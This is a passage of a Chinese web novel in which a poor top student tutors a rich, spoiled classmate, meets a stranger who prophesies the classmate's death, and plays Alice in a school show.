看到成绩单的那刻,让他心里一咯噔,主科总得分加起来居然没有他一科高。
蓝宁沉默了。
数学13,语文60,英语50分,理综70。
许君言捅捅他,“你怎么不说话?”
说完他自己也有点心虚,“我还有救吗?”
蓝宁:“你物理还不错。我觉得可以。”
“物理是抄的。”
蓝宁:“......”
“那,那我,们先从基础的说起吧,比如语文和英语这两科,再拔高一点。”
许君言问的很直白,“你能让我考500分吗?”
蓝宁再次沉默。
许君言叹口气,“好吧,我也知道不能,但你既然跟着我,我也不是白白占别人便宜,给你补课费。”
许君言想考
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个好大学。
郑嘉仪都去外面进修了,他也意识到自己该用功读书了。
这点不出自于家里人的催促,而是出自他的内心,不爱学习的他,也想要离自己的梦想近一些。
“补课费就,就不用了。”许君言给的2000块他还没有花完。
“说什么不用,你不会不打算好好用心教我吧?”许君言抬手把他的领口扯过来,跟他对视,“你不打算好好教我?”
离的太近了,蓝宁不自在地转过头,脸颊微微发红,“不,不是。”
“不是,不是我给你什么你收下就成了。一个狗腿子怎么这么多事啊。”许君言抓紧他不松手,“来汪汪两声我听听。”
蓝宁的领口被扯的拧在一起,无奈只好妥协,“汪汪。”
“哈哈哈哈,叫你叫你就叫。”蓝宁感觉头上一阵抚摸,许君言笑的很开心,“你真的好像一条小狗儿,好乖好乖。”
蓝宁的心脏一下子跳的很厉害,怎么回事,明明许君言在捉弄他,他的心却跳的好快。
---------------
“语文这里,你要仔细审题,有的答案就藏在文里,结合一些通用的话术,总结一下,比如说通过这个人做了什么事,表现出对什么的情感........”
蓝宁拿着书,旁边的许君言歪着头,好像一个大号的人形木偶,没有表情,但能感受到他挺痛苦。
教学结束。
蓝宁奢侈了一把座公交回家。
微信转账200元。
他捏着手机,嘴角不觉上扬,他发现这条恶龙好像,跟别的不大一样。
给许君言每次补课大约3个小时。
许君言说每小时给他200元,但蓝宁觉得太多,只被迫答应一次200。
郑嘉仪很快就去进修了,只剩许君言和蓝宁,这段日子,蓝宁好像过的不真实一样。
像飘在云端,整个人都晕乎乎的泛着甜。
但蓝宁发现许君言并不是很聪明,起码在学习上是的。
“六王毕,四海一,蜀山兀,阿房出......”
“然后呢。”
“然后被我一把火烧了。”
蓝宁:“......”
蓝宁放下手里满是红叉的卷子,又说:“烧阿房宫的是项羽。”
“我早生几百年,就轮不到他了。”许君言说:“我还要废除科考制度,让所有人像原始人一样生活......每天唱歌打猎娶老婆,围着篝火嗷嗷叫。”
蓝宁:“你,你想象力还挺丰富的。”
许君言整张脸埋在书里,嗡嗡地出声:“人为什么要学这种东西?”
蓝宁垂下眼,不由笑了下,越相处越发现,许君言很孩子气,好像长不大的小孩子。
他把卷子仔细改了一遍,扣好笔帽。
听见一阵歌声。
声音有点闷闷的回响,他微微一愣,原来许君言在唱歌。
【
......
Hesaidoverthepayphone
Itrytokeepmycoolbut
Mylifeturnsinslowmotion
Byebyebabyblue
Iwishyoucouldseethewickedtruth
Caughtupinarushit''skillingyou
Screamingatthesunyoublowinto
】
........
蓝宁忽然安静了,他没听过这首英文歌,没有伴奏,只有安静的风声,很好听。
好听的让他浑身的汗毛都立起来,大脑皮层都在颤抖。
好听到什么程度,蓝宁形容不出来,只觉得眼前这个人是大明星。
蓝宁听他唱了一会儿,许君言又叹了口气,脸上盖着书,双手合十,作祈祷状:“老天啊,把蓝宁脑子里的知识赐给我。”
蓝宁低下头,抿了抿上扬的唇角。
这个人好有趣。
他真的有一点可爱。
15. 预言
张安发现蓝宁最近心情不错。
是偷偷的发现的。
虽然他们是前后桌,但张安还没勇气跟他的偶像交朋友。
蓝宁一般很忙,忙着兼职或者给别人跑腿。
但是最近蓝宁的兼职也不兼职了,董宇也不找他麻烦了,或许找过几次让他写作业,后来被许君言发现,连蓝宁和董宇的作业一起撕了。
之后还大摇大摆地扔在地上,说:“以后只准给我写。”
诸如此类的,最让张安受不了的是,每天晚自习许君言都带蓝宁出去。
一呆就是好几个小时。
他也不敢问蓝宁受了什么欺负,但偶尔有一次他看见许君言叫蓝宁狗,吹了声口哨,蓝宁就跑过去,好像真的被驯化了一样。
还会坐在他身上。
因为这件事许君言还被找过几回谈话。
谈完后仍旧跟蓝宁在一起,甚至每天都要找他。
这太恐怖了。
蓝宁如往常一样进班级。
这阵子吃的好,他上学也坐了公交车,吃的好睡的足,导致他整个人都长高了些,脸上挂了一点肉,皮肤也变得白了一点。
他想着中午吃什么好。
郑嘉仪走后,订午饭的任务就落在了他头上,每天联系外面的餐馆提前订餐,许君言嘴比较挑,又没有什么特别爱吃的。
每天都要提前想好菜单让他挑选。
与之而来的就是他也会沾上光,跟着吃,吃不完还可以打包,带回去给外婆吃。
这些天补课赚了好几千,过阵子就能联系医院安排给外婆手术。
以前想都不敢想的生活,现在的他正在过着。
走到座位上,蓝宁拉开椅子,整理着桌面上的卷子。
张安犹豫了一会儿,还是转过身,拿着一个本子递过去,“这是许君言给你的。”
蓝宁接过,是一个新的本子,前几天许君言看见董宇扔过来的作业本撕了。
只不过撕多了,连同他的一起撕了。
虽然这也不重要,但他还是给了一本新的。
蓝宁笑了下。
给张安看呆了。
第一次见蓝宁笑,其实细看蓝宁一点也不丑,他的五官很美,这两天气色很好,那点美就争先恐后地涌出来。
微微一笑,让人忽觉惊艳。
“班长,你笑什么?”
“没什么。”蓝宁只是笑,许君言撕错本子时那一瞬间遮不住的尴尬表情,好像一只耍威风失败的小老虎。
“你每天被许君言带出去,他对你干什么?”
“补课而已。”蓝宁想了想说:“他人很好的。”
张安复杂地看了蓝宁一眼,满是担忧,“班长,你不用逞强,遇到什么问题要跟老师说啊。”
蓝宁叹了口气。
他知道自己解释没有用,没人相信许君言对他好。
没有人关注过事情的本质。
大部分人只觉得,蓝宁很可怜,跟董宇结两年的梁子,好不容易董宇不找他麻烦,许君言又找到他了。
两年的时间,让围观的人都觉得习以为常。
但他们不知道的是,在蓝宁苦难生活中,在暴力中伸出一只手,来给他希望的是-----
是许君言。
他打开那个崭新的本子,拿起笔写下蓝宁两个字。
张安不语,看了一会儿,只能作罢。
上午上了四节课,中午下课,人都走光了,许君言慢慢悠悠地路过蓝宁的班级门口。
蓝宁收了收本子,起身跟出去。
两个人订了一家粤菜馆,出校门,蓝宁已经打好车了,许君言大爷一样等蓝宁开车门,然后钻进去。
蓝宁座进车里,冷气吹拂的人舒爽极了。
许君言靠在座椅后背上,白白的脸上坠着几颗痣,整个人懒懒散散地坐着,看起来慵懒的像只大猫。
蓝宁照旧说:“马上就要月考了,准备的怎么样了?”
“啊,月考,又要月考,考他娘的什么东西。”他唇上的痣长在右边,那颗痣好像比其他的颜色深一些,点在浅色的唇上,说话都跟着跃动,明明在抱怨,却莫名的性感。
蓝宁被诱惑的不由自主地盯着看了一会儿,猛然回过神移开视线,“我给过你知识点的,背下来能解决大部分问题。”
“哦。”
“所以,昨天背的不是很好,今天,有在背吗?”
“你还盯上我了?你想造反啊。”许君言语气不善。
“我......”蓝宁平复了一下呼吸,十分认真地看向他,“我希望我能给你一些有用的帮助。”
学习也好,给他当狗也好。许君言把他带在身边,给他那么多钱,他应该回报一些有价值的东西。
许君言转过头抱着手臂不吱声了。
“你,不能逃避,月考成绩不会骗人。”
“我知道了,烦死,郑嘉仪都没你烦。”许君言抱怨两句,拿起手机划拉着,“晚上背,可以了吧?”
“好。”
到了餐馆,直奔包间,菜已经上齐了,两个人对着一桌子菜开动。
吃完饭,蓝宁拎着打包的饭在公交站前等车,许君言靠在后面的广告牌上,说:“你是不是长高了。”
蓝宁吃的很饱,正在迷糊的晕碳,闻言清醒了一下,看向许君言:“我吗?”
“啊,你还有点胖了。”许君言招招手,“你过来,我比一下。”
蓝宁走过去。
许君言从广告牌旁站起来,手在下巴下比了比,“我去还真长高了,你以前只到我这里。”
许君言手比量了一下胸口。
蓝宁有点脸红,结结巴巴地说:“我都19了,怎么能长高。”
“啊?你19了??”许君言睁大眼睛,身体又歪广告牌上,有些惊愕。
居然比他大4岁。
“嗯。我上学晚。”蓝宁几乎是高中生里年级最大的一个。
蓝宁看向玻璃广告牌里印出的模糊身影,正思考自己是不是真的能长高,一般来讲,18岁以后就要停止发育,但他一直没发育过,所以这条不知道适不适用他。
许君言撇撇嘴,“你长的好像初中生。”
蓝宁笑了下,“不好意思,我,其实比你年纪大一点。”
“年纪大怎么了?想占我便宜?”许君言抱着手臂,说:“没门。”
旁边疾驰过几辆车,带起一阵热浪。
周围的物体都在水汽和热气的烘烤下仿佛变得扭曲。
“没有这回事........”蓝宁一句话没说完,只见许君言神色一凛,忽然从公交站台里面冲了出去。
速度之快,连蓝宁都没反应过来,等他目光跟过去时,许君言已经冲向马路旁,抓住一个正在横穿马路的老人,眼疾手快的拉回非机动车道。
紧接着,一辆重卡滴着喇叭急驰而过。
几乎擦着许君言和老人行驶过去。
滴滴滴的鸣笛穿透耳膜。
蓝宁一阵心悸,那人踉跄几步被拽到许君言公交站台里。
他穿的破破烂烂,身体佝偻着,像一个年迈的老人。
许君言松开手里的人,怒声说:“老头,你不要命了?”
老人戴着黑色鸭舌帽,颤颤巍巍抬头,许君言一愣,帽子下居然是一张年轻人的脸,枯槁的身体和年轻的头产生的诡异的不协调感,许君言被吓了一跳,连忙推开他。
年轻的人被推的踉跄,爬在地上,嘴唇干燥起皮,一双眼睛突出的好像要掉出眼眶,像脱离深海的比目鱼
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,他蠕动着嘴唇,朝面前的人伸手,“水,我要水.....我要水.......我快渴死了,我快渴死了.......”
“哎!干什么?别过来!什么味道,好臭。”许君言退后几大步,捂住口鼻,使唤蓝宁,“你去给他买点水。”
年轻的人长的很奇怪,身上的衣服有些大,不合时宜地穿在身上。
更诡异的是,整个身体泛着一股鱼腥味。
很重。
蓝宁应声,他外婆就是拾荒的,身上有些味道很平常,而且拾荒的人多半身体不健全,所以他不觉得年轻人有多奇怪,他买了水和面包,想了想又换了一点现金,买完就赶紧拎着一袋子东西走回去。
公交站牌下许君言抱着手机一言不发,见蓝宁回来了,拿脚踢踢旁边的人。
旁边人睁开眼,蓝宁把水拧开放到他旁边,他如看到了救命稻草一样,扑过去拿着水,咕咚嘟嘟喝了一大瓶,然后拿起面包狼吞虎咽。
许君言看了一眼直皱眉,没兴趣再看,转头跟蓝宁说:“车到了没有啊。”
蓝宁拿出手机点开约车软件:“还有十分钟。”
这家餐馆开在是闹市区,午高峰车不好打。
只能多等一会儿。
“差点就没命了。”年轻人吃饱喝足满足地叹口气,一双眼睛似乎不再那么突出,变得有些正常了,他啧啧两声,对着两个人打量一番,随后叹气地摇头,“多好的孩子,可惜天妒英才,要不久于人世了。”
许君言闻言露出一个看智障的表情,自动远离这个泛着鱼腥味的怪人。
“什么不久于世?”蓝宁疑惑地问。
年轻人冲他招招手,蓝宁狐疑地靠近两步,那人用只有他们两个人能听到的声音说:“许君言,一年后会死。”
蓝宁心里一咯噔,三伏天气硬是出了一身冷汗。
他后退好几步,撞在了后面的人身上。
“跟他说什么话。”许君言接住他退过来的身体,手搭在他肩膀上,说:“一个神经病而已。”
在许君言眼里,这人白天横穿大马路,不是神经病也是脑子有坑。
蓝宁动动嘴唇,抬起头满脸错愕,“他,他说你会死。”
虽然很荒诞,但这个怪人怎么知道许君言名字。他们明明都没说过自己的名字。
“哦。”许君言轻蔑地笑了下。
年轻人露出一个意味不明地笑,一边往嘴里塞剩下面包,说:“看在你救我的份上,我且帮你一次。”
许君言冷漠地看手机,“哦,那谢谢你啊。”
随后搂着蓝宁转身要走。
“哎哎哎,小朋友,小朋友。”年轻人吃饱喝足手脚并用爬过来,黑色的外套下露出一双有些枯槁的手臂,双眼却亮闪闪的,抓住许君言,“小朋友,救命之恩大于天命,走前我且先报答你。”
“神经病,滚----”许君言脸还没翻完。
年轻人的眼中闪烁出奇异的光晕,他一瞬间失去意识,僵硬地站在地上。
“放开他!”蓝宁快步上前想阻止他的诡异行为,按住年轻人的那一瞬,瞬间感觉被水淹没,咕噜咕噜的水声翻涌着将他包围,紧接着脑袋一阵空白。
不知道过了多久也许只有一瞬,两个人慢慢苏醒过来。
公交站牌下,年轻人已经不见了踪影。
许君言挠挠头,喃喃自语,“怎么感觉头被人打了一棒子,我刚才说到哪里了?”
“说.....说到不能占便宜。”蓝宁皱起眉,好像自己忘记了什么事,他想了一会儿掏出手机,“我们回学校吧,我看看车到哪里了。”
许君言抬手看了眼手表,淡青色的鳞片埋在手臂一侧若隐若现,但他没看见,挠了挠有些发痒的手臂,那鳞片便没入皮肤,彻底消失不见。
16. 梦
老式风扇嗡嗡嗡地响着,吹的吊顶上的白炽灯时不时的晃荡。
灯下的人影在水泥地上拉长又缩短,像一幕黑色的皮影戏。
蓝宁看了看手机的余额,把手机藏在枕头下面,忍不住上扬嘴角,觉得周围空气也变得凉快起来。
外婆在灯下做手工活,蓝宁趴在枕头上,看着外婆混浊的眼睛,抚上她的手,“外婆,过阵子我带你去医院手术吧。”
钱很快就要够了。
蓝爱芝摆弄着手里的物件,一边说:“宁宁,你怎么会有这么多钱?”
她不是傻子,这阵子每天带回来那么多肉菜,还给她买衣服,宁宁不知道从哪里搞来的手机,每天晚上在被窝里捧着看又傻傻的笑。
这些她都看在眼里。
蓝宁手枕着下巴,微微一笑,“我给人补课赚钱,每次补课200块呢,放心吧外婆,我们以后不用再担心没钱了。”
不用再过苦日子,也不会有人欺负他们了。
蓝爱芝笑了笑,摸着他的头,温声说:“宁宁长大了会赚钱了,外婆不用手术,把钱藏起来留着以后上大学用。别被你妈看见。”
“我不会让她知道。”蓝宁说完,神色一顿,忽然发觉已经好一阵子没见到蓝茵。
自从她那天跟陌生男人出去后,再也没回来过。
但他根本不在意。
这样更好,没有蓝茵的生活他们只会过的更好。
蓝宁把半张脸埋在枕头上,拿起外婆的手,放在脸上蹭了蹭,“外婆,我会治好你的,我们以后都会好好的。”
外婆是蓝宁来到这个世界上第一个见到的人,也是唯一一个疼爱他的人,靠拾荒把他一点一点养大,供他上学。
有时候蓝宁觉得自己的生命和外婆的生命在此消彼长。
他活的越久,外婆就越虚弱。
他偶尔会怕,怕外婆哪一天会离开他。
那么世界上就再也没有爱他的人。
但是他现在不怕了,他有钱,有了钱,他们都可以好好的活下去。
-----
转眼半个月过去。
学校里彩条飘飘,今天是校庆演出的日子,也是月考成绩刚出来的日子。
但学生们都不大感兴趣自己考的好不好,考试考的太多已经麻木。
眼下的演出更有吸引力。
学校要求每个班级出一个节目,蓝宁作为班长也逃不过。
当然蓝宁也没什么组织能力。
艺术委员说他参加什么节目,他就参加什么节目。
安排好班级学生在体育馆座好,蓝宁起身去后台跟艺术委员对台本。
他们准备的节目叫爱丽丝梦游仙境。
蓝宁扮演爱丽丝。
要问为什么,其实他自己也不知道。
可能是走搞笑路线,反串更有意思一些。
走到后台,后台很多人在准备着,拿道具衣服的,化妆的,彩排的。
艺术委员距离老远看到了他,朝他招招手,“哎,班长,过来这边。”
“好。”蓝宁缓慢穿过人群,视野中看到一个熟悉的身影,不远处的少年正在低头看手机,身后背着吉他,黑T配着休闲裤,穿着很普通,却很清爽帅气。
看起来也是准备来演出的。
蓝宁犹豫了一下,还是绕了个远路,朝少年走过去,走到他跟前。
许君言察觉到有人站在跟前,从屏幕上抬头,嘴边含着一根糖杆,说话间一股清爽的蓝莓味四溢,“哎呀,你也在。”
“我也要演节目。”
许君言含着糖球含糊不清地说:“你要演什么?乞丐?”
蓝宁:“......”
他有一种很伤自尊的感觉,但那种伤自尊却跟以前的那种不大一样,他会觉得有一点无语。
“不是。”蓝宁说出自己找他的目的,“月考成绩出来了。”
“嗯嗯。”许君言点点头,双眼发亮,弯成半月型,“怎么样?看见我的大名了没?”
许君言看着很喜欢阴阳人,但其实很单纯,蓝宁发现了,特别是笑着看人的时候,有一种非常纯真的憨态,他不由被他感染,也笑了笑,“你很厉害,考了370分。”
虽然还是倒数第一,但是已经跨度很大了,之前他的成绩才200出头。
“天才。”许君言拍拍蓝宁的肩膀,说:“哥是天才,天才不需要努力就能平步青云,你记住了。”
“嗯。”蓝宁微微一笑,看到许君言成绩的那一刻,蓝宁比看到自己成绩要开心一万倍。
能帮到许君言他很开心。
所以他想悄悄地跟许君言分享一下。
知道许君言也开心他就满足了,那边有人喊他过去准备彩排。蓝宁点点头,赶紧过去了。
蓝宁走过去,班级里参加演出的人已经换好各自的装扮,艺术委员拿着化妆刷,把蓝宁拉过来上妆容。
蓝宁一声不吭,虽然不懂她在弄什么,但还是很配合。
花完妆又被拉到换衣间换衣服。
蓝宁走出更衣间的时候,周围一阵抽气声。
他穿着一身浅蓝的蓬蓬裙,他身材消瘦矮小,那裙子不大不小很适合,漆黑的长发带着卷垂下,头上戴着同色系浅蓝色大蝴蝶结。
一张脸画了淡妆,加了假睫毛和眼线,本来就有些狭长的眼睛,变得灵动野性,整个人清纯美丽的像从故事书里走出来一样。
后台里的其他班级的人甚至都认不出这是蓝宁,纷纷投来好奇的视线。
“她好美啊!哪个班的?”
“我怎么觉得有点像蓝宁?”
“别逗了,这明显是个女生。”
董萌萌拉着蓝宁十分满意地展示着自己手下的作品,享受追捧的目光一路回到他们班级的彩排位置。
张安和其他的同学明显愣住了。
“当当当。”董萌萌把人一推,骄傲道:“好看不?我的眼光不错吧?我就说班长特别适合爱丽丝。”
“等等----”张安嘴巴张成O形,我去了一声,“这是班长?”
“哼哼。”董萌萌满足地给蓝宁理理头发,说:“不然呢。”
张安脸上浮现一丝诡异的红晕。
蓝宁被人群注视的有些局促,连忙说:“我们开始对台本吧。”
“哦。哦。”张安结结巴巴地回应。
董萌萌推了一下张安,打趣地说:“花痴病犯了?”
众人一阵哄笑。
对完台本,前台的演出也正式开始了。
最开始的节目是小品和相声,还有手语之类的。
蓝宁安静地坐在角落,他不擅长应
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对热闹的场面,也不知道怎么跟同学相处,只是像往常一样做好自己分内的事,然后默默等待下一轮任务开始。
直到主持人的报幕声再次响起。
【下面有请男生独唱,由许君言同学原创作词,作曲,原创歌曲:《梦》】
台下响起热烈的掌声。
蓝宁心脏跟着许君言三个字狠狠地跳动了一下。
他起身,脚步不受控制的来到前台的帷幕后面。
视野变得开阔。
他看见许君言在舞台上,依旧是那黑T,长裤,坐在高脚凳上抱着吉他,姿态随意但并不散漫,有种与生俱来的自信和洒脱。
他抬手调了调话筒的高度,朝后面伴奏示比了个ok的手势。
灯光开始变幻。
舞台后电子投屏上浮现出海浪的背景。
轻缓的男声响了起来。
甲板上海浪吹拂,我的思绪破碎。
它是谁,藏于我梦中。
银色尾翼,飘扬于水中。
人们说,人鱼存于幻想。
它浮上水面,对我歌唱。
走向它的怀抱,拥抱它。
来吧,来吧,它说。
(啊-------)
(等待你变成了我。)
来自塞壬的吟唱,走向死亡的圣歌。
(啊-------)
(拥抱我,成为我。)
摆脱痛苦,融入水中。
(啊-------)
(赐你永生。)
......
蓝宁一阵恍惚,那一瞬间,他仿佛感觉到一阵潮湿的水汽扑面而来。
他忽然涌上来一种窒息感,感觉要失去什么重要的东西一样难过。
整个人像被攥住喉咙一样喘不上气。
一曲歌唱完,台下寂静一片,而后响起一阵阵掌声和欢呼声。
那诡异又圣洁的歌曲,让所有人都为之震撼。
蓝宁因为太过窒息早早退场,他在洗手间的水池边旁,喘了几口气。
明明唱的很好,为什么他这么难受。
但蓝宁没想太多,只当是身体不大舒服,洗了把脸就出去了。
场上反应极为强烈,许君言站在聚光灯下,冲场下招招手,潇洒离场。
旁边的音乐老师抚掌迎接他,“唱的很好,许君言。”
许君言是个极为少见的天才,谁能想象这首歌仅仅花了两天就作词作曲完成的。
特别是高音部分,纯属炫技之作。
许君言上扬嘴角,“老师,我艺考决定也唱这首歌。”
“艺考么,可以啊。”音乐老师笑道,“高音部分很不错,也很有创意,只是跟你以前的风格不大一样,你是从哪里得来的灵感?”
许君言平时的风格是倾向于说唱和节奏感强烈的曲风,并不是这种十分有难度的传统高音唱法。
“我写着玩的。”许君言说:“最近总做这种奇怪的梦,就记下来了。”
梦里他变成了一条人鱼,跟歌词里说的那样,有个人一直在叫他过去。
音乐老师十分满意,拍拍他的肩膀,“不愧是我教的天才。”
许君言十分得意,“那还用说。”
天才的灵感都是源源不断,哪怕一个梦都是创作来源。
17. 爱丽丝
蓝宁在洗手间待了一会儿,正好与许君言完美错过。
许君言下台后跟教他音乐老师继续交流歌曲的细节和高音部分。
毕竟创作出来才几天,很多地方要更加精进一些。
旁边的人们一阵窃窃私语。
有的还被许君言听见了。
说他有才华怎么怎么样。
喜欢他或者夸他牛B。
许君言听腻了,他知道自己有才华,自然也知道自己长的很帅。
那是理所当然不是吗。
他生下来就拥有这一切,他有肆意妄为的资本,想做什么稍微用点心就能够出类拔萃。
被人群环绕,被人夸赞。
被人仰望。
那是件再正常不过的事。
被人仰慕是他的命运。
哪怕他在顽劣骄纵,也会有人为他着迷。
舞台灯光再次变幻,许君言穿过大厅往外走,他演出完和老师也说完了,也没兴趣继续在这看节目。
正巧郑嘉仪找他。
郑嘉仪在电话里听到嘈杂舞台背景音,忽然想起来今早微信公众号推送的校庆宣传海报,不由说:“今天校庆演出,你怎么不看啊。”
许君言:“不想看,你有事找我?”
“有啊。”郑嘉仪捏着嗓子说:“人家想你了。”
“哼。真恶心。”
“嘿嘿。哥你课补的怎么样啊?说好了考一个学校我得监督你啊。”
舞台上一段旁白结束后,轻快的音乐响起来,在大厅中回荡,许君言快走了几步。
“用得着你监督我......”许君言边走边说着。
舞台上一个兔子打扮的人偶圆滚滚地跑了出来:【来不及了,来不及了,快点,快点,再快点,我要参加一个重要的晚会!】
爱丽丝走出舞台:【瞧,这只兔子会说话。】
【喔,你好爱丽丝,不过我得走了拜拜。】
爱丽丝:【等等----啊----】
爱丽丝的声音一出,许君言忽然定住,手机里郑嘉仪的声音还在响着,许君言全然不顾,转过身看向舞台。
台上的爱丽丝,穿着一身浅蓝色的齐膝盖短裙,黑色的长发柔顺地垂在裙摆上,腿上穿着蓝白条纹的高筒袜,配着红色的圆头小皮鞋。
而且那张脸埋在打着卷的长发中,正跌坐在地上,烦恼地摸摸头。
有些低沉的男生再次响起:【天呐,我怎么会掉进这个地方?】
爱丽丝缓慢地站起来,四处打量。
“我靠。”许君言瞳孔地震,微微张着嘴巴。
手机那边郑嘉仪一头雾水,十分好信地追问,“怎么了?怎么了?怎么我靠?”
许君言无法形容眼前看到的一切。
太过于震惊,以至于好几秒才反应过来。
蓝宁什么时候多了个妹妹?
不对,这不对劲,许君言关掉手机里的大喇叭,一阵头脑风暴过后,觉得这不是什么妹妹。
这特么是蓝宁。
这声线绝对是蓝宁。
原来蓝宁说要演出的节目就是这个啊。
蓝宁穿了个裙子扮演爱丽丝?一个男人居然反串,好恶......不对,反串起来一点也不违和。
甚至有点......
许君言形容不出来。
只感觉那动作,那懵懂的姿态,好像是真的落入神秘兔子洞的小爱丽丝。
他目光有些移不开了。
爱丽丝在台上东张西望,好奇的目光注视着四周。
许君言觉得蓝宁居然这么矮,小小的往哪里一站。
跟他小侄女手里玩的芭比娃娃似的。
他忍不住举起手机拍了几张。
一直到退场,场下掌声过后,许君言被郑嘉仪夺命连环催,催的接下他的电话,往一旁的步行楼梯走。
这是消防通道,极少有人会来。
郑嘉仪在那边惊讶了一阵子,催着他要蓝宁的剧场照片。
“你好奇他干什么?”许君言说着。
“我一直觉得蓝宁挺帅的。”郑嘉仪说:“就是长的矮了点。”
“这样啊。”许君言十分敷衍地回应。
他慢慢悠悠地走了一会儿,后背一沉,好像撞了个软绵绵的东西。
许君言转过身。
那人从他身后起来,柔顺的卷发垂在胸前,浅蓝色的蓬蓬裙被挤压的有些变形,那人却无暇顾及,与他对视一眼,像受惊的兔子一样,迅速越过他跑下楼。
长发上的大蝴蝶结像活过来一般,随着他的动作翩翩起舞。
像从书里走出来精灵。
许君言愣住了一瞬,身体先于大脑思考将人抓住,“爱丽丝,你去哪儿?”
蓝宁被他抓住手腕,整个人都羞愧的要死。
“什么爱丽丝.......我,我是蓝宁。”
“哦。”许君言说:“你是蓝宁的妹妹。”
蓝宁:“......”
许君言放开他,说:“我开玩笑呢,你这么着急干什么去?”
“我忽然想起我手机落在洗手间了。”蓝宁
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说:“正准备去拿。”
他本来想换回衣服去拿,可演出就快要结束了,他换完估计会有很多人出来,所以有点来不及。
“去吧。”许君言给他让路。
蓝宁迅速拿到手机又快速的往回跑。
许君言坐在台阶上,漫不经心地回消息。
目光捕捉到一抹蓝色的身影,他往下看,蓝宁正快速的跑上来,漆黑的长发在飘扬着。
许君言放下手机看了半响,一直到蓝宁走到跟前。
蓝宁跑的太快,支着膝盖喘气,长发随着动作飘散而下。
许君言抬手挑了一缕,绕在手指上打了几个圈,“你留长发真的很好看欸。”
那是真的。
视线汇聚到一处,两个人无声地对视了几秒。
安静了一会儿。
蓝宁说:“真的好看吗?”
“嗯。”许君言应声,目光微微下落,手里的头发正在被蓝宁慢慢地扯回去。
蓝宁默默地坐在他旁边,心跳的奇快,或许是因为跑的太快,或许是因为别的,总之他只能靠用力呼吸才能减轻心脏剧烈跳动的刺痛。
蓝宁自顾自冷静一会儿,视线看向旁边,看见许君言拿着手机,手机屏幕上有一张熟悉的相片,而许君言正在往相片上贴蝴蝶结。
蓝宁顿时脸烧的通红,说话也结结巴巴,“删,删掉。”
“欸?”许君言捧着手机欣赏了会儿说:“不行。”
“.....”蓝宁攥紧手指鼓起勇气去夺许君言手里的手机。
许君言抬手,不让他抢,“下去。”
蓝宁用力够了够,发现够不到,只好脸红耳赤地缩回去,抱着膝盖。
“为什么拍我的照片。”
“郑嘉仪说想看。”许君言说着给郑嘉仪发过去一张,然后又按了保存。
“......”蓝宁脸红耳赤,沉默了一会儿,说:“我是不是有点奇怪。”
是不是觉得反串很滑稽,所以才跟朋友分享。
“没有啊。”许君言看着他说:“还挺好看的,真的。”
许君言忽然觉得蓝宁真的挺好看。
跟以前不大一样了。
好像慢慢的变得帅了点。
蓝宁没说话。
外面的人声逐渐嘈杂,蓝宁意识到这是学生散场了。
“我该去换衣服了。”
他匆忙地起身,长发扫过许君言的手臂,像晚会上落下水晶鞋的灰姑娘一样匆忙离场。
许君言摸了摸手臂,感觉像被羽毛拂过,痒痒的。
18. 暑假
高二暑假。
蓝宁和许君言告别。
期末考试许君言考了500分,查到成绩的那一刻,许君言整个人从沙发上蹦起来,大叫着跑了两圈。
Kivi本来还在沙发上躺着,被许君言这一叫吓得直接摔在波斯进口的手工地毯上。
许君抱起kivi转圈,“kivi!我是天才!哈哈哈哈!”
Kivi是许君言家养的阿富汗猎犬,灰白相间的长毛在空中飞舞,像朵大蒲公英。
一旁的保姆笑着说:“哎呦,小少爷,什么事这么开心呀?”
张曼也从书房走出来,抱着手臂,呵斥他:“许言言,你在发什么疯!”
kivi被转的头晕眼花,被许君言放倒在沙发上歪歪斜斜地晃悠。
许君言见到张曼直接俯冲过去,地板被跑的噔噔作响,他举起手机,兴奋的像峨眉山的野猴,“妈妈,你看我,看我成绩!”
“每次都倒数第一有什么.......”张曼嘲笑一声,在视线落在许君言成绩那一栏时,不由睁大了眼睛,不可置信地说:“老师是不是判错了?!”
“这是什么话?这是我的实力好吧?!”许君言亲两口手机,又亲一口亲妈,跑去书房去骚扰他亲爸。
“father~~yousoein~~~~”许君言唱着法式男高音,抬脚踹开门,疯子一样跑进去。
张曼拿起手机给他班主任打电话,询问完了之后才接受这个事实。
张曼眼角顿时有些湿润,她的宝贝儿子终于开窍了,终于不是倒数第一了。
保姆满面春风,“哎呦,这可太好了,小少爷能上个好大学嘞。”
张曼也笑,“可把这个臭小子高兴坏了,有点成绩恨不得全世界都知道,小混世魔王。”
书房里的许正扬被许君言推出来,平时严肃的脸色也挂上了笑,“什么意思啊?许家祖坟冒青烟了?是不是抄的?”
张曼说:“意思是开个会,好好表扬我们家的大天才。”
“我抄?我怎么会抄别人,fateher,you,dog。”
许正扬揣了他一脚,许君言事先预判了他的动作,瞬移到他妈身后,张曼笑着把跑到身后的人抓出来,“言言,好了,别闹了,都多大了还没个正形。”
许君言手机一扔,双手一摊,“这就是实力。”
“屁个实力。”张曼点点他的额头,“还不是投机取巧。”
“你对我偏见太大了妈妈。”许君言扑到沙发上,搂过kivi,“我之前跟你们说了,蓝宁帮我补课补上来的,不过我没怎么学就是了,随随便是考个500分不是正常?还用得着投机取巧?”
许正扬走到沙发旁落座,搂过大儿子,“蓝宁?那个学习特别好的孩子啊。”
这阵子许君言总在他们面前提。
“对啊。”许君言说:“他可好玩了,我跟你说,有一次我们.......”
“停!许言言说起这个我还没来说你。”张曼比了个暂停的手势,“你舅舅经常跟我说,你好几次因为他跟董宇打架是不是真的?”
“我跟董宇打架,是因为他招惹我,才不是因为蓝宁。”董宇这小子总跟他过不去,而且许君言并不觉得自己在帮蓝宁,蓝宁只是他一条狗,狗被欺负了,主人当然不能坐视不理,顺便还能揍人,何乐不为?
“我不管谁招惹谁,是狗还是猫。”张曼点点他额头,“再打架,零花钱和学都没有了,你就好好在家学习。”
“哦。”许君言说,“切。”
张曼使劲点点他额头,“听没听进去?”
许君言撇撇嘴,“我知道了呗,你们还没表扬我就批评上我了,你没听电视上说吗,打压式教育有害孩子的心里健康。”
许正扬爽朗地笑出声,摸摸他的头。
“油嘴滑舌。”张曼轻拍他一下。
说话间,外面的门童敲敲门跟保姆耳语几句,保姆上前说:“许先生,雅康制药董事长康佳过来了,您看要不要让他进来。”
许正扬颔首,“叫他进来吧。”
许君言从沙发上座起来。
不一会,一个中年啤酒肚男人带着两个秘书,面带微笑走过来。
康佳一脸谄媚地笑着打招呼:“许董事,小许少爷放假了啊。”
许君言意思一下点点头。
他不认识这人,估计是老爸的生意伙伴。
许正扬夹起一块雪茄缓慢点燃,说:“康总,家里老爷子身体可好?”
“好着呢,好着呢。”康佳搓搓手,站在旁边,“这不老爷子闲着没事,自己家种了点土特产,非要我带过来。”
